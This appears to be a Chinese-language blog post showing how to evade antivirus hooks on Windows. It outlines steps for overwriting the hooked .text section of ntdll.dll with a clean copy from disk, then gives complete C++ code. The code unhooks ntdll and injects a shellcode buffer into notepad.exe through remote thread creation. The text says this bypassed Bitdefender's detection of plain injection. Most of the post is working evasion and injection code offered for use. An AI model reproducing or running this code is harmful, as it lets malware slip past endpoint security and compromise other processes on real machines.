ntdll.dll常常是被挂钩的主要模块,当程序完全加载完毕后,我们可以尝试从system32目录下加载一个干净的ntdll.dll。
-
将 ntdll.dll 的新副本从磁盘映射到进程内存
-
查找挂钩的 ntdll.dll 的 .text 部分的虚拟地址
-
获取 ntdll.dll 基地址
-
模块基址 + 模块的 .text 部分 VirtualAddress
-
查找新映射的 ntdll.dll 的 .text 部分的虚拟地址
-
获取挂钩模块的 .text 部分的原始内存保护
-
将 .text 部分从新映射的 dll 复制到原始(挂钩的)ntdll.dll 的虚拟地址(在第 3 步中找到)——这是取消挂钩的主要部分,因为所有挂钩的字节都被磁盘中的新字节覆盖
-
将原始内存保护应用到原始 ntdll.dll 的刚脱钩的 .text 部分
#include <Windows.h>
#include <TlHelp32.h>
#include <iostream>
#include <winternl.h>
#include <psapi.h>DWORD UNHOOKntdll() {MODULEINFO mi = {};HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");GetModuleInformation(HANDLE(-1), ntdllModule, &mi, sizeof(mi));LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {DWORD oldProtection = 0;bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);}}CloseHandle(ntdllFile);CloseHandle(ntdllMapping);FreeLibrary(ntdllModule);return 0;
}DWORD FindProcPid() {HANDLE hProcessSnap = NULL;BOOL bRet = FALSE;PROCESSENTRY32 pe32 = { 0 };DWORD dwProcessId;hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);pe32.dwSize = sizeof(PROCESSENTRY32);if (hProcessSnap != INVALID_HANDLE_VALUE) {bRet = Process32First(hProcessSnap, &pe32);while (bRet) {if (!_wcsicmp(pe32.szExeFile, L"notepad.exe")) {dwProcessId = pe32.th32ProcessID;break;}bRet = Process32Next(hProcessSnap, &pe32);}}return dwProcessId;
}DWORD INject(DWORD pid) {HANDLE processHandle;HANDLE remoteThread;PVOID remoteBuffer;//messagebox x64 helloWorldUCHAR buf[] = "";processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof buf, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);WriteProcessMemory(processHandle, remoteBuffer, buf, sizeof buf, NULL);remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);if (remoteThread) {WaitForSingleObject(remoteThread, 500);CloseHandle(remoteThread);return 0;}CloseHandle(processHandle);
}
int main() {DWORD pid = FindProcPid();printf("Find notepad pid : %d", pid);system("pause");UNHOOKntdll();INject(pid);getchar();return 0;
}
使用普通注入情况下,bitdefender直接检测到注入,立即结束了我们的进程和文件。
使用以上方式reload ntdll .text段,直接将钩子移除。
使用clear ntdll移钩前:
使用clear ntdll移钩后:
所有的函数都已经unhook